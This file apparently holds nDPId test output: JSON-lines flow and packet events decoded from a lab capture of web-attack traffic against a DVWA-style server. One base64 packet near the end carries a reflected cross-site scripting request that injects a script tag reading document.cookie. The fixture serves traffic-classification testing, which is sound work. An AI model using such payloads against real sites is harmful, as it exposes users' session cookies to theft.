+00432{"flow_id":300,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4298,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347481,"pkt_ts_usec":745315,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06aVAAD4G3DKsEAABwKgKMuEEAFDYCDFa4HaRa4AQAOUP3gAAAQEICgE63fAD5K9l"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4308,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":304,"flow_packet_id":1,"flow_first_seen":1499347484263,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57684,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":304,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4308,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347484,"pkt_ts_usec":263170,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8UOVAAD4GdOusEAABwKgKMuFUAFABZrCAAAAAAKACchDp2AAAAgQFtAQCCAoBOuBlAAAAAAEDAwc="} +00444{"flow_id":304,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4309,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347484,"pkt_ts_usec":263296,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4VQEZrkRAWawgaAScSB3gAAAAgQFtAQCCAoD5LHbATrgZQEDAwc="} +00432{"flow_id":304,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4310,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347484,"pkt_ts_usec":264080,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UOZAAD4GdPKsEAABwKgKMuFUAFABZrCBBGa5EoAQAOUWhwAAAQEICgE64GYD5LHb"} +00432{"flow_id":301,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4314,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347484,"pkt_ts_usec":744968,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iKVAAD4GPTOsEAABwKgKMuEeAFCusFPP7NoBToARAOWZ9AAAAQEICgE64N4D5Kzi"} +00432{"flow_id":301,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4315,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347484,"pkt_ts_usec":745157,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0sx1AAEAGELvAqAoyrBAAAQBQ4R7s2gFOrrBT0IARAOOUhAAAAQEICgPkslMBOuDe"} +00432{"flow_id":301,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4316,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347484,"pkt_ts_usec":745937,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iKZAAD4GPTKsEAABwKgKMuEeAFCusFPQ7NoBT4AQAOWUggAAAQEICgE64N4D5LJT"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4320,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":305,"flow_packet_id":1,"flow_first_seen":1499347485533,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57698,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":305,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4320,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347485,"pkt_ts_usec":533871,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8jaZAAD4GOCqsEAABwKgKMuFiAFALNGwFAAAAAKACchAjOgAAAgQFtAQCCAoBOuGjAAAAAAEDAwc="} +00444{"flow_id":305,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4321,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347485,"pkt_ts_usec":533993,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4WJ5n4cfCzRsBqAScSBsXQAAAgQFtAQCCAoD5LMYATrhowEDAwc="} +00432{"flow_id":305,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4322,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347485,"pkt_ts_usec":534757,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jadAAD4GODGsEAABwKgKMuFiAFALNGwGeZ+HIIAQAOULZQAAAQEICgE64aMD5LMY"} +00432{"flow_id":302,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4326,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347485,"pkt_ts_usec":745607,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UJtAAD4GdT2sEAABwKgKMuEsAFBzZ4wxEyEdEYARAOVYjQAAAQEICgE64dgD5K4f"} +00432{"flow_id":302,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4327,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347485,"pkt_ts_usec":745839,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0rlxAAEAGFXzAqAoyrBAAAQBQ4SwTIR0Rc2eMMoARAONTYAAAAQEICgPks00BOuHY"} +00432{"flow_id":302,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4328,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347485,"pkt_ts_usec":746567,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UJxAAD4GdTysEAABwKgKMuEsAFBzZ4wyEyEdEoAQAOVTXgAAAQEICgE64dgD5LNN"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4329,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":260,"flow_packet_id":6,"flow_first_seen":1499347412160,"flow_last_seen":1499347417729,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56912,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4329,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":260,"flow_packet_id":6,"flow_first_seen":1499347412160,"flow_last_seen":1499347417729,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56912,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4329,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":261,"flow_packet_id":6,"flow_first_seen":1499347413405,"flow_last_seen":1499347418729,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56926,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4329,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":261,"flow_packet_id":6,"flow_first_seen":1499347413405,"flow_last_seen":1499347418729,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56926,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4329,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":262,"flow_packet_id":6,"flow_first_seen":1499347414709,"flow_last_seen":1499347419729,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56940,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4329,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":262,"flow_packet_id":6,"flow_first_seen":1499347414709,"flow_last_seen":1499347419729,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56940,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4329,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":263,"flow_packet_id":6,"flow_first_seen":1499347417243,"flow_last_seen":1499347422731,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56966,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4329,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":263,"flow_packet_id":6,"flow_first_seen":1499347417243,"flow_last_seen":1499347422731,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56966,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4329,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":264,"flow_packet_id":6,"flow_first_seen":1499347418519,"flow_last_seen":1499347423606,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56980,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4329,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":264,"flow_packet_id":6,"flow_first_seen":1499347418519,"flow_last_seen":1499347423606,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56980,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4329,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":227,"flow_packet_id":320,"flow_first_seen":1499347355229,"flow_last_seen":1499347423381,"flow_tot_l4_data_len":242645,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1902,"flow_avg_l4_data_len":758,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56306,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":303,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4332,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347486,"pkt_ts_usec":746049,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0fSxAAD4GSKysEAABwKgKMuE6AFDTgqDCML5SkIARAOWOewAAAQEICgE64tID5K9g"} +00433{"flow_id":303,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4333,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347486,"pkt_ts_usec":746698,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA05thAAEAG3P\/AqAoyrBAAAQBQ4TowvlKQ04Kgw4ARAOOJlAAAAQEICgPktEgBOuLS"} +00432{"flow_id":303,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4334,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347486,"pkt_ts_usec":747274,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0fS1AAD4GSKusEAABwKgKMuE6AFDTgqDDML5SkYAQAOWJkgAAAQEICgE64tID5LRI"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4335,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":306,"flow_packet_id":1,"flow_first_seen":1499347486787,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57712,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":306,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4335,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347486,"pkt_ts_usec":787088,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8D7tAAD4GthWsEAABwKgKMuFwAFB2mu1nAAAAAKACchA1KgAAAgQFtAQCCAoBOuLcAAAAAAEDAwc="} +00444{"flow_id":306,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4336,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347486,"pkt_ts_usec":787204,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4XA0h5CedprtaKAScSC4rAAAAgQFtAQCCAoD5LRSATri3AEDAwc="} +00432{"flow_id":306,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4337,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347486,"pkt_ts_usec":787944,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0D7xAAD4GthysEAABwKgKMuFwAFB2mu1oNIeQn4AQAOVXtAAAAQEICgE64twD5LRS"} +00947{"flow_id":304,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4344,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347487,"pkt_ts_usec":799367,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGzUOdAAD4Gc3KsEAABwKgKMuFUAFABZrCBBGa5EoAYAOXCGwAAAQEICgE649kD5LHbR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +00773{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4344,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":304,"flow_packet_id":4,"flow_first_seen":1499347484263,"flow_last_seen":1499347487799,"flow_tot_l4_data_len":527,"flow_min_l4_data_len":32,"flow_max_l4_data_len":415,"flow_avg_l4_data_len":131,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57684,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/xss_r\/","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00432{"flow_id":304,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4345,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347487,"pkt_ts_usec":799500,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0DF1AAEAGt3vAqAoyrBAAAQBQ4VQEZrkSAWayAIAQAOsOGwAAAQEICgPktU8BOuPZ"} +02830{"flow_id":304,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4346,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347487,"pkt_ts_usec":802541,"pkt_caplen":1837,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1837,"pkt_l4_len":1803,"pkt":"AMGxFOsxABm5CmnxCABFAAcfDF5AAEAGsI\/AqAoyrBAAAQBQ4VQEZrkSAWayAIAYAOt9\/QAAAQEICgPktVABOuPZSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjI0OjQ3IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAOtWG1P4zgQ\/gzS\/gefTzpgpcbb2y+3XJoVtHAgsbfctix70kmRm7itwYmD7bTw72\/sOG14LdkioeKXeXk84xnP5N12+Mvga3\/07\/kRmplMoPOLw7PTPsIdQi4\/9gkZjAbox8noyxnqBh\/Q0CieGEKO\/sYIz4wp9glZLBbB4mMg1ZSMvpFbK6Vr2fywox1PkJoUR++2322HTs9tJnLde0JG99OnTxVrRb4VzhhNYbi1FWbMUGRZOuym5PMe7svcsNx0RncFwyipZj1s2K0hVsSfKJlRpZnpXYyOO39gRCqZW6HhRrDoeylypuiYC27u9tE3NhEsMSxFfSW1RkNuGBomiheG51O0+2M43EP7+2hAsxzVvIKhSzZGB0UheEINlznaHXy\/PNhD827Q\/YDeD9icCVlkAO19SCrFHoXg+TVSTPSwNneC6RljBiMDp\/GHSLTGaKbYpIeDgMBfOl9Qu0oyyvPAbZPH0jiYopbzH8\/olBFYui9pQueWLHAbSxnanbYJ4YrOabWKkVbJPSBX2v0\/BwXBlcZRSCpK7zniXWfHY5neoURQbb0uM4Yrl6Z8jnjaw9Z3cCKmvNcbW1ZIY30r5Nn0ERJ3SE2EnMqgyKcYUQEXYY2jVucGrKDukWpr5BgcVza0P9qLC5qmLK0OBASlqM9pdw+FTK6taQRHMk9A9XUPL3ieykUAWw5Hb6c6SbCDa1ZgoPfcFeDoBMwWEgpWFjzafo1AnkP0lYld0kExK16Q\/5AUR6eNlXZqIeDKYo2+JQ2OhnaICIQfLKLBYUMZKUW0gUHnjfjmcD3GqjSMvIDqaQYcHdr\/6FiqpKUHHgpktyxpA8DR46gvs4zmKTrNr5jzyGYoEq0mbVA4ekAx\/Ha8meIJJ8HnAkK1x4GzTNmaW\/IqfhwdcwjuU7uiN7ZNWQhJ0zbW8RwexoWbbegfWhh4uVq5yLO4uGVJqRjqH5yP+icHm0HRN4K3weHoIab\/OXury2olxmN43Fo5pcH1AA3aPbTLe5uhWjB6HfNWkGoWHF3CCA2ZtrcVnQ5apteHcm+1jlsBqRhwBPUM1Cpfv2xoCitONfRrVlVRr8KhahzL4usN0Oi21tA1iqGR6j6EDZ8gF4tQXa59DldkOLL1I9yPaqmdOYCf5xO5Rl2DCkfnJ+cQHRPZThEdy9KsUbOkwdGBHb6dWW2ht1b9ighHZ278AICv2O7Vfs8XgraEXRWC0MnYXa\/b7jULwXDW\/ZnuAkrmri+YG8Lnywo2TmTKYqoY9fXzRKoM5TSDah34oex1Ka6Hf8UIuqWZBOx\/HY18bRoW\/sSXM2p2NLqTpXLMn+vKOi\/KZvGPvWj7u6xvm0S6HGccyOZUlDAdVlOvjRRR1VQQi9Ituq5gaeBw9nv0BeLN3T6V0eqtgEW7590Dl2HlVtv7ad8vygXVhWsZ4YawW+tl4gzb0WDYeGnY2BkWuiGqptAIYngUaH6No5+XtbxErfEBdwxFgmEqPoKuCo4b96G9MfHQd34tMb4sbz1OlgcLfs0LlnLqRNtZ8+S6Pvnz2F4v42U8\/pjJlC9zYSIzm507E3oTuC8CT4J4BeOrNFc4qWDKdJ2EF9U9om7q8Mmluup14zhW0G5Wv3UGeSbj+LBPBKNqGUxPpSV9pw3LYpvKnwzPcWmMbXN9eH7nbIFOmCiWKbOQRVnENZnM+1XSXfX8+0BxUeyiZx7bOUiMZyDRXsfPAMk96b\/VjugJudhBezhCa2ENIRcl7G2BaSdzLTRrTSr4FNKmYBNIXyHLogvNlE17+yGBGaJpxnPvQpjXbzM6sx93PA1IXFHAo3o6GPqdlGubvdPai886dCKlufeto4g2+dhUPPWqNRMwse9W9VnOfTCL\/geoshewERQAAA=="} +00434{"flow_id":304,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4347,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347487,"pkt_ts_usec":803232,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UOhAAD4GdPCsEAABwKgKMuFUAFABZrIABGa\/\/YAQAQAHGQAAAQEICgE649oD5LVQ"} +01217{"flow_id":304,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4348,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347488,"pkt_ts_usec":156707,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9UOlAAD4GcqasEAABwKgKMuFUAFABZrIABGa\/\/YAYAQDtkwAAAQEICgE65DMD5LVQR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdNUklKNkNBOE9RT0ZYNjNGQVdUOVZYRkhIUVJaTEpTQ1IxNkhDNjI4RDgxVlVJWTRMQiUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} 